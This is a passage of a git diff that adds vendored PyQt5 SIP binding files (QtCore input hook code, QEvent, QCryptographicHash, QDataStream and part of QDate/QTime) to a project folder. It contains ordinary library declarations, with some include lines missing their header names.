0; i < PyList_Size(qtcore_PreRoutines); ++i) + { + PyObject *pr = PyList_GetItem(qtcore_PreRoutines, i); + + if (pr != Py_None) + { + PyObject *res = PyObject_CallObject(pr, NULL); + + Py_XDECREF(res); + } + } +} +#endif + + +// The list of Python post routines. +static PyObject *qtcore_PostRoutines = NULL; + +// Call all of the registered Python post routines. +static void qtcore_CallPostRoutines() +{ + for (Py_ssize_t i = 0; i < PyList_Size(qtcore_PostRoutines); ++i) + { + PyObject *pr = PyList_GetItem(qtcore_PostRoutines, i); + + if (pr != Py_None) + { + PyObject *res = PyObject_CallObject(pr, NULL); + + Py_XDECREF(res); + } + } +} +%End +void pyqtRemoveInputHook(); +%MethodCode + // Clear the Python input hook installed when the module was initialised. + PyOS_InputHook = 0; +%End + +void pyqtRestoreInputHook(); +%MethodCode + // Restore the input hook. + PyOS_InputHook = qtcore_input_hook; +%End + +%ModuleCode +#include +#include + +#if defined(Q_OS_WIN) +#include +#include +#else +#include +#endif + +// This is the input hook that will process events while the interpreter is +// waiting for interactive input. +extern "C" {static int qtcore_input_hook();} + +static int qtcore_input_hook() +{ + QCoreApplication *app = QCoreApplication::instance(); + + if (app && app->thread() == QThread::currentThread()) + { +#if defined(Q_OS_WIN) + QTimer timer; + QObject::connect(&timer, SIGNAL(timeout()), app, SLOT(quit())); + + while (!_kbhit()) + { + // The delay is based on feedback from users. + timer.start(35); + QCoreApplication::exec(); + timer.stop(); + } + + QObject::disconnect(&timer, SIGNAL(timeout()), app, SLOT(quit())); +#else + QSocketNotifier notifier(0, QSocketNotifier::Read, 0); + QObject::connect(¬ifier, SIGNAL(activated(int)), app, SLOT(quit())); + QCoreApplication::exec(); + QObject::disconnect(¬ifier, SIGNAL(activated(int)), app, SLOT(quit())); +#endif + } + + return 0; +} +%End + +%PostInitialisationCode +// Process events from the input hook. +PyOS_InputHook = qtcore_input_hook; +%End + +%ExportedTypeHintCode +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] +%End + +%TypeHintCode +# Support for QDate, QDateTime and QTime. +import datetime + + +# Support for new-style signals and slots. +class pyqtSignal: + + signatures = ... # type: typing.Tuple[str, ...] + + def __init__(self, *types: typing.Any, name: str = ...) -> None: ... + + @typing.overload + def __get__(self, instance: None, owner: typing.Type['QObject']) -> 'pyqtSignal': ... + + @typing.overload + def __get__(self, instance: 'QObject', owner: typing.Type['QObject']) -> 'pyqtBoundSignal': ... + + + +class pyqtBoundSignal: + + signal = ... # type: str + + def __getitem__(self, key: object) -> 'pyqtBoundSignal': ... + + def connect(self, slot: 'PYQT_SLOT') -> 'QMetaObject.Connection': ... + + @typing.overload + def disconnect(self) -> None: ... + + @typing.overload + def disconnect(self, slot: typing.Union['PYQT_SLOT', 'QMetaObject.Connection']) -> None: ... + + def emit(self, *args: typing.Any) -> None: ... + + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[pyqtSignal, pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], pyqtBoundSignal] +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcoreevent.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcoreevent.sip new file mode 100644 index 00000000..81f317f3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcoreevent.sip @@ -0,0 +1,269 @@ +// qcoreevent.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QEvent /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + switch (sipCpp->type()) + { + case QEvent::Timer: + sipType = sipType_QTimerEvent; + break; + + case QEvent::ChildAdded: + case QEvent::ChildPolished: + case QEvent::ChildRemoved: + sipType = sipType_QChildEvent; + break; + + case QEvent::DynamicPropertyChange: + sipType = sipType_QDynamicPropertyChangeEvent; + break; + + case QEvent::StateMachineSignal: + sipType = sipType_QStateMachine_SignalEvent; + break; + + case QEvent::StateMachineWrapped: + sipType = sipType_QStateMachine_WrappedEvent; + break; + + default: + sipType = 0; + } +%End + +public: + enum Type + { + None /PyName=None_/, + Timer, + MouseButtonPress, + MouseButtonRelease, + MouseButtonDblClick, + MouseMove, + KeyPress, + KeyRelease, + FocusIn, + FocusOut, + Enter, + Leave, + Paint, + Move, + Resize, + Show, + Hide, + Close, + ParentChange, + ParentAboutToChange, + ThreadChange, + WindowActivate, + WindowDeactivate, + ShowToParent, + HideToParent, + Wheel, + WindowTitleChange, + WindowIconChange, + ApplicationWindowIconChange, + ApplicationFontChange, + ApplicationLayoutDirectionChange, + ApplicationPaletteChange, + PaletteChange, + Clipboard, + MetaCall, + SockAct, + WinEventAct, + DeferredDelete, + DragEnter, + DragMove, + DragLeave, + Drop, + ChildAdded, + ChildPolished, + ChildRemoved, + PolishRequest, + Polish, + LayoutRequest, + UpdateRequest, + UpdateLater, + ContextMenu, + InputMethod, + TabletMove, + LocaleChange, + LanguageChange, + LayoutDirectionChange, + TabletPress, + TabletRelease, + OkRequest, + IconDrag, + FontChange, + EnabledChange, + ActivationChange, + StyleChange, + IconTextChange, + ModifiedChange, + MouseTrackingChange, + WindowBlocked, + WindowUnblocked, + WindowStateChange, + ToolTip, + WhatsThis, + StatusTip, + ActionChanged, + ActionAdded, + ActionRemoved, + FileOpen, + Shortcut, + ShortcutOverride, + WhatsThisClicked, + ToolBarChange, + ApplicationActivate, + ApplicationActivated, + ApplicationDeactivate, + ApplicationDeactivated, + QueryWhatsThis, + EnterWhatsThisMode, + LeaveWhatsThisMode, + ZOrderChange, + HoverEnter, + HoverLeave, + HoverMove, + GraphicsSceneMouseMove, + GraphicsSceneMousePress, + GraphicsSceneMouseRelease, + GraphicsSceneMouseDoubleClick, + GraphicsSceneContextMenu, + GraphicsSceneHoverEnter, + GraphicsSceneHoverMove, + GraphicsSceneHoverLeave, + GraphicsSceneHelp, + GraphicsSceneDragEnter, + GraphicsSceneDragMove, + GraphicsSceneDragLeave, + GraphicsSceneDrop, + GraphicsSceneWheel, + GraphicsSceneResize, + GraphicsSceneMove, + KeyboardLayoutChange, + DynamicPropertyChange, + TabletEnterProximity, + TabletLeaveProximity, + NonClientAreaMouseMove, + NonClientAreaMouseButtonPress, + NonClientAreaMouseButtonRelease, + NonClientAreaMouseButtonDblClick, + MacSizeChange, + ContentsRectChange, + CursorChange, + ToolTipChange, + GrabMouse, + UngrabMouse, + GrabKeyboard, + UngrabKeyboard, + StateMachineSignal, + StateMachineWrapped, + TouchBegin, + TouchUpdate, + TouchEnd, + RequestSoftwareInputPanel, + CloseSoftwareInputPanel, + WinIdChange, + Gesture, + GestureOverride, + FocusAboutToChange, + ScrollPrepare, + Scroll, + Expose, + InputMethodQuery, + OrientationChange, + TouchCancel, + PlatformPanel, +%If (Qt_5_1_0 -) + ApplicationStateChange, +%End +%If (Qt_5_4_0 -) + ReadOnlyChange, +%End +%If (Qt_5_5_0 -) + PlatformSurface, +%End +%If (Qt_5_9_0 -) + TabletTrackingChange, +%End + User, + MaxUser, + }; + + explicit QEvent(QEvent::Type type); + QEvent(const QEvent &other); + virtual ~QEvent(); + QEvent::Type type() const; + bool spontaneous() const; + void setAccepted(bool accepted); + bool isAccepted() const; + void accept(); + void ignore(); + static int registerEventType(int hint = -1); +}; + +class QTimerEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTimerEvent(int timerId); + virtual ~QTimerEvent(); + int timerId() const; +}; + +class QChildEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + QChildEvent(QEvent::Type type, QObject *child); + virtual ~QChildEvent(); + QObject *child() const; + bool added() const; + bool polished() const; + bool removed() const; +}; + +class QDynamicPropertyChangeEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +public: + explicit QDynamicPropertyChangeEvent(const QByteArray &name); + virtual ~QDynamicPropertyChangeEvent(); + QByteArray propertyName() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcryptographichash.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcryptographichash.sip new file mode 100644 index 00000000..996783ea --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qcryptographichash.sip @@ -0,0 +1,79 @@ +// qcryptographichash.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCryptographicHash +{ +%TypeHeaderCode +#include +%End + +public: + enum Algorithm + { + Md4, + Md5, + Sha1, + Sha224, + Sha256, + Sha384, + Sha512, +%If (Qt_5_1_0 -) + Sha3_224, +%End +%If (Qt_5_1_0 -) + Sha3_256, +%End +%If (Qt_5_1_0 -) + Sha3_384, +%End +%If (Qt_5_1_0 -) + Sha3_512, +%End +%If (Qt_5_9_2 -) + Keccak_224, +%End +%If (Qt_5_9_2 -) + Keccak_256, +%End +%If (Qt_5_9_2 -) + Keccak_384, +%End +%If (Qt_5_9_2 -) + Keccak_512, +%End + }; + + explicit QCryptographicHash(QCryptographicHash::Algorithm method); + ~QCryptographicHash(); + void reset(); + void addData(const char *data /Array/, int length /ArraySize/); + void addData(const QByteArray &data); + bool addData(QIODevice *device); + QByteArray result() const; + static QByteArray hash(const QByteArray &data, QCryptographicHash::Algorithm method); +%If (Qt_5_12_0 -) + static int hashLength(QCryptographicHash::Algorithm method); +%End + +private: + QCryptographicHash(const QCryptographicHash &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdatastream.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdatastream.sip new file mode 100644 index 00000000..97a83b79 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdatastream.sip @@ -0,0 +1,475 @@ +// qdatastream.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDataStream +{ +%TypeHeaderCode +#include +%End + +public: + enum Version + { + Qt_1_0, + Qt_2_0, + Qt_2_1, + Qt_3_0, + Qt_3_1, + Qt_3_3, + Qt_4_0, + Qt_4_1, + Qt_4_2, + Qt_4_3, + Qt_4_4, + Qt_4_5, + Qt_4_6, + Qt_4_7, + Qt_4_8, + Qt_4_9, + Qt_5_0, +%If (Qt_5_1_0 -) + Qt_5_1, +%End +%If (Qt_5_2_0 -) + Qt_5_2, +%End +%If (Qt_5_3_0 -) + Qt_5_3, +%End +%If (Qt_5_4_0 -) + Qt_5_4, +%End +%If (Qt_5_5_0 -) + Qt_5_5, +%End +%If (Qt_5_6_0 -) + Qt_5_6, +%End +%If (Qt_5_7_0 -) + Qt_5_7, +%End +%If (Qt_5_8_0 -) + Qt_5_8, +%End +%If (Qt_5_9_0 -) + Qt_5_9, +%End +%If (Qt_5_10_0 -) + Qt_5_10, +%End +%If (Qt_5_11_0 -) + Qt_5_11, +%End +%If (Qt_5_12_0 -) + Qt_5_12, +%End +%If (Qt_5_13_0 -) + Qt_5_13, +%End +%If (Qt_5_14_0 -) + Qt_5_14, +%End +%If (Qt_5_15_0 -) + Qt_5_15, +%End + }; + + enum ByteOrder + { + BigEndian, + LittleEndian, + }; + + enum Status + { + Ok, + ReadPastEnd, + ReadCorruptData, + WriteFailed, + }; + + QDataStream(); + explicit QDataStream(QIODevice *); + QDataStream(QByteArray * /Constrained/, QIODevice::OpenMode flags); + QDataStream(const QByteArray & /Constrained/); + ~QDataStream(); + QIODevice *device() const; + void setDevice(QIODevice *); + bool atEnd() const; + QDataStream::Status status() const; + void setStatus(QDataStream::Status status); + void resetStatus(); + QDataStream::ByteOrder byteOrder() const; + void setByteOrder(QDataStream::ByteOrder); + int version() const; + void setVersion(int v); + int skipRawData(int len) /ReleaseGIL/; +// Extra methods to give explicit control over the simple data types being read and written. +int readInt() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +qint8 readInt8() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +quint8 readUInt8() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +qint16 readInt16() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +quint16 readUInt16() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +qint32 readInt32() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +quint32 readUInt32() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +qint64 readInt64() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +quint64 readUInt64() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +bool readBool() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +float readFloat() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +double readDouble() /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp >> sipRes; + Py_END_ALLOW_THREADS +%End + +SIP_PYOBJECT readString() /ReleaseGIL,TypeHint="Py_v3:bytes;str"/; +%MethodCode + char *s; + + Py_BEGIN_ALLOW_THREADS + *sipCpp >> s; + Py_END_ALLOW_THREADS + + if (s) + { + sipRes = SIPBytes_FromString(s); + delete[] s; + } + else + { + sipRes = Py_None; + Py_INCREF(Py_None); + } +%End + +void writeInt(int i) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeInt8(qint8 i) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeUInt8(quint8 i) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeInt16(qint16 i) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeUInt16(quint16 i) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeInt32(qint32 i) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeUInt32(quint32 i) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeInt64(qint64 i) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeUInt64(quint64 i) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeBool(bool i) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeFloat(float f) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeDouble(double f) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End + +void writeString(const char *str /Encoding="None"/) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << a0; + Py_END_ALLOW_THREADS +%End +// Extra methods to support v2 of the QString and QVariant APIs. +QString readQString() /ReleaseGIL/; +%MethodCode + sipRes = new QString; + + Py_BEGIN_ALLOW_THREADS + *sipCpp >> *sipRes; + Py_END_ALLOW_THREADS +%End + +void writeQString(const QString &qstr) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << *a0; + Py_END_ALLOW_THREADS +%End + +QStringList readQStringList() /ReleaseGIL/; +%MethodCode + sipRes = new QStringList; + + Py_BEGIN_ALLOW_THREADS + *sipCpp >> *sipRes; + Py_END_ALLOW_THREADS +%End + +void writeQStringList(const QStringList &qstrlst) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << *a0; + Py_END_ALLOW_THREADS +%End + +QVariant readQVariant() /ReleaseGIL/; +%MethodCode + sipRes = new QVariant; + + Py_BEGIN_ALLOW_THREADS + *sipCpp >> *sipRes; + Py_END_ALLOW_THREADS +%End + +void writeQVariant(const QVariant &qvar) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << *a0; + Py_END_ALLOW_THREADS +%End + +QVariantList readQVariantList() /ReleaseGIL/; +%MethodCode + sipRes = new QVariantList; + + Py_BEGIN_ALLOW_THREADS + *sipCpp >> *sipRes; + Py_END_ALLOW_THREADS +%End + +void writeQVariantList(const QVariantList &qvarlst) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << *a0; + Py_END_ALLOW_THREADS +%End + +QVariantMap readQVariantMap() /ReleaseGIL/; +%MethodCode + sipRes = new QVariantMap; + + Py_BEGIN_ALLOW_THREADS + *sipCpp >> *sipRes; + Py_END_ALLOW_THREADS +%End + +void writeQVariantMap(const QVariantMap &qvarmap) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << *a0; + Py_END_ALLOW_THREADS +%End + +QVariantHash readQVariantHash() /ReleaseGIL/; +%MethodCode + sipRes = new QVariantHash; + + Py_BEGIN_ALLOW_THREADS + *sipCpp >> *sipRes; + Py_END_ALLOW_THREADS +%End + +void writeQVariantHash(const QVariantHash &qvarhash) /ReleaseGIL/; +%MethodCode + Py_BEGIN_ALLOW_THREADS + *sipCpp << *a0; + Py_END_ALLOW_THREADS +%End + SIP_PYOBJECT readBytes() /TypeHint="Py_v3:bytes;str",ReleaseGIL/; +%MethodCode + char *s; + uint l; + + Py_BEGIN_ALLOW_THREADS + sipCpp->readBytes(s, l); + Py_END_ALLOW_THREADS + + if ((sipRes = SIPBytes_FromStringAndSize(s, l)) == NULL) + sipIsErr = 1; + + if (s) + delete[] s; +%End + + SIP_PYOBJECT readRawData(int len) /TypeHint="Py_v3:bytes;str",ReleaseGIL/; +%MethodCode + char *s = new char[a0]; + + Py_BEGIN_ALLOW_THREADS + sipCpp->readRawData(s, a0); + Py_END_ALLOW_THREADS + + sipRes = SIPBytes_FromStringAndSize(s, a0); + + if (!sipRes) + sipIsErr = 1; + + delete[] s; +%End + + QDataStream &writeBytes(const char * /Array/, uint len /ArraySize/) /ReleaseGIL/; + int writeRawData(const char * /Array/, int len /ArraySize/) /ReleaseGIL/; + + enum FloatingPointPrecision + { + SinglePrecision, + DoublePrecision, + }; + + QDataStream::FloatingPointPrecision floatingPointPrecision() const; + void setFloatingPointPrecision(QDataStream::FloatingPointPrecision precision); +%If (Qt_5_7_0 -) + void startTransaction(); +%End +%If (Qt_5_7_0 -) + bool commitTransaction(); +%End +%If (Qt_5_7_0 -) + void rollbackTransaction(); +%End +%If (Qt_5_7_0 -) + void abortTransaction(); +%End + +private: + QDataStream(const QDataStream &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdatetime.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdatetime.sip new file mode 100644 index 00000000..ad24b3c8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdatetime.sip @@ -0,0 +1,636 @@ +// qdatetime.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDate /TypeHintIn="Union[QDate, datetime.date]"/ +{ +%TypeHeaderCode +#include +%End + +%TypeCode +#include +%End + +%ConvertToTypeCode +// Allow a Python date object whenever a QDate is expected. + +if (sipIsErr == NULL) + return (sipGetDate(sipPy, 0) || + sipCanConvertToType(sipPy, sipType_QDate, SIP_NO_CONVERTORS)); + +sipDateDef py_date; + +if (sipGetDate(sipPy, &py_date)) +{ + *sipCppPtr = new QDate(py_date.pd_year, + py_date.pd_month, + py_date.pd_day); + + return sipGetState(sipTransferObj); +} + +*sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QDate, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + +return 0; +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"iii", sipCpp->year(), sipCpp->month(), sipCpp->day()); +%End + +public: + QDate(); + QDate(int y, int m, int d); +%If (Qt_5_14_0 -) + QDate(int y, int m, int d, QCalendar cal); +%End + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QDate()"); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QDate()"); + #endif + } + else + { + sipRes = + #if PY_MAJOR_VERSION >= 3 + PyUnicode_FromFormat + #else + PyString_FromFormat + #endif + ("PyQt5.QtCore.QDate(%i, %i, %i)", sipCpp->year(), + sipCpp->month(), sipCpp->day()); + } +%End + + long __hash__() const; +%MethodCode + sipRes = qHash(sipCpp->toString(Qt::ISODate)); +%End + + SIP_PYOBJECT toPyDate() const /TypeHint="datetime.date"/; +%MethodCode + // Convert to a Python date object. + sipDateDef py_date; + + py_date.pd_year = sipCpp->year(); + py_date.pd_month = sipCpp->month(); + py_date.pd_day = sipCpp->day(); + + sipRes = sipFromDate(&py_date); +%End + + bool isNull() const; + int __bool__() const; +%MethodCode + sipRes = !sipCpp->isNull(); +%End + + bool isValid() const; + int year() const; +%If (Qt_5_14_0 -) + int year(QCalendar cal) const; +%End + int month() const; +%If (Qt_5_14_0 -) + int month(QCalendar cal) const; +%End + int day() const; +%If (Qt_5_14_0 -) + int day(QCalendar cal) const; +%End + int dayOfWeek() const; +%If (Qt_5_14_0 -) + int dayOfWeek(QCalendar cal) const; +%End + int dayOfYear() const; +%If (Qt_5_14_0 -) + int dayOfYear(QCalendar cal) const; +%End + int daysInMonth() const; +%If (Qt_5_14_0 -) + int daysInMonth(QCalendar cal) const; +%End + int daysInYear() const; +%If (Qt_5_14_0 -) + int daysInYear(QCalendar cal) const; +%End + int weekNumber(int *yearNumber = 0) const; + static QString shortMonthName(int month, QDate::MonthNameType type = QDate::DateFormat); + static QString shortDayName(int weekday, QDate::MonthNameType type = QDate::DateFormat); + static QString longMonthName(int month, QDate::MonthNameType type = QDate::DateFormat); + static QString longDayName(int weekday, QDate::MonthNameType type = QDate::DateFormat); + QString toString(Qt::DateFormat format = Qt::TextDate) const; +%If (Qt_5_14_0 -) + QString toString(Qt::DateFormat f, QCalendar cal) const; +%End + QString toString(const QString &format) const; +%If (Qt_5_14_0 -) + QString toString(const QString &format, QCalendar cal) const; +%End + QDate addDays(qint64 days) const; + QDate addMonths(int months) const; +%If (Qt_5_14_0 -) + QDate addMonths(int months, QCalendar cal) const; +%End + QDate addYears(int years) const; +%If (Qt_5_14_0 -) + QDate addYears(int years, QCalendar cal) const; +%End + qint64 daysTo(const QDate &) const; + bool operator==(const QDate &other) const; + bool operator!=(const QDate &other) const; + bool operator<(const QDate &other) const; + bool operator<=(const QDate &other) const; + bool operator>(const QDate &other) const; + bool operator>=(const QDate &other) const; + static QDate currentDate(); + static QDate fromString(const QString &string, Qt::DateFormat format = Qt::TextDate); + static QDate fromString(const QString &s, const QString &format); +%If (Qt_5_14_0 -) + static QDate fromString(const QString &s, const QString &format, QCalendar cal); +%End + static bool isValid(int y, int m, int d); + static bool isLeapYear(int year); + static QDate fromJulianDay(qint64 jd); + qint64 toJulianDay() const; + bool setDate(int year, int month, int date); +%If (- Qt_5_7_0) +%If (Qt_5_15_0 -) + void getDate(int *year, int *month, int *day); +%End +%End +%If (Qt_5_7_0 -) + void getDate(int *year, int *month, int *day) const; +%End + + enum MonthNameType + { + DateFormat, + StandaloneFormat, + }; + +%If (Qt_5_14_0 -) + QDateTime startOfDay(Qt::TimeSpec spec = Qt::LocalTime, int offsetSeconds = 0) const; +%End +%If (Qt_5_14_0 -) + QDateTime endOfDay(Qt::TimeSpec spec = Qt::LocalTime, int offsetSeconds = 0) const; +%End +%If (Qt_5_14_0 -) + QDateTime startOfDay(const QTimeZone &zone) const; +%End +%If (Qt_5_14_0 -) + QDateTime endOfDay(const QTimeZone &zone) const; +%End +%If (Qt_5_14_0 -) + bool setDate(int year, int month, int day, QCalendar cal); +%End +}; + +class QTime /TypeHintIn="Union[QTime, datetime.time]"/ +{ +%TypeHeaderCode +#include +%End + +%TypeCode +#include +%End + +%ConvertToTypeCode +// Allow a Python time object whenever a QTime is expected. + +if (sipIsErr == NULL) + return (sipGetTime(sipPy, 0) || + sipCanConvertToType(sipPy, sipType_QTime, SIP_NO_CONVERTORS)); + +sipTimeDef py_time; + +if (sipGetTime(sipPy, &py_time)) +{ + *sipCppPtr = new QTime(py_time.pt_hour, + py_time.pt_minute, + py_time.pt_second, + py_time.pt_microsecond / 1000); + + return sipGetState(sipTransferObj); +} + +*sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QTime, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + +return 0; +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"iiii", sipCpp->hour(), sipCpp->minute(), sipCpp->second(), sipCpp->msec()); +%End + +public: + QTime(); + QTime(int h, int m, int second = 0, int msec = 0); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QTime()"); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QTime()"); + #endif + } + else + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtCore.QTime(%i, %i", sipCpp->hour(), + sipCpp->minute()); + + if (sipCpp->second() || sipCpp->msec()) + { + qpycore_Unicode_ConcatAndDel(&sipRes, + PyUnicode_FromFormat(", %i", sipCpp->second())); + + if (sipCpp->msec()) + qpycore_Unicode_ConcatAndDel(&sipRes, + PyUnicode_FromFormat(", %i", sipCpp->msec())); + } + + qpycore_Unicode_ConcatAndDel(&sipRes, PyUnicode_FromString(")")); + #else + sipRes = PyString_FromFormat("PyQt5.QtCore.QTime(%i, %i", sipCpp->hour(), + sipCpp->minute()); + + if (sipCpp->second() || sipCpp->msec()) + { + PyString_ConcatAndDel(&sipRes, + PyString_FromFormat(", %i", 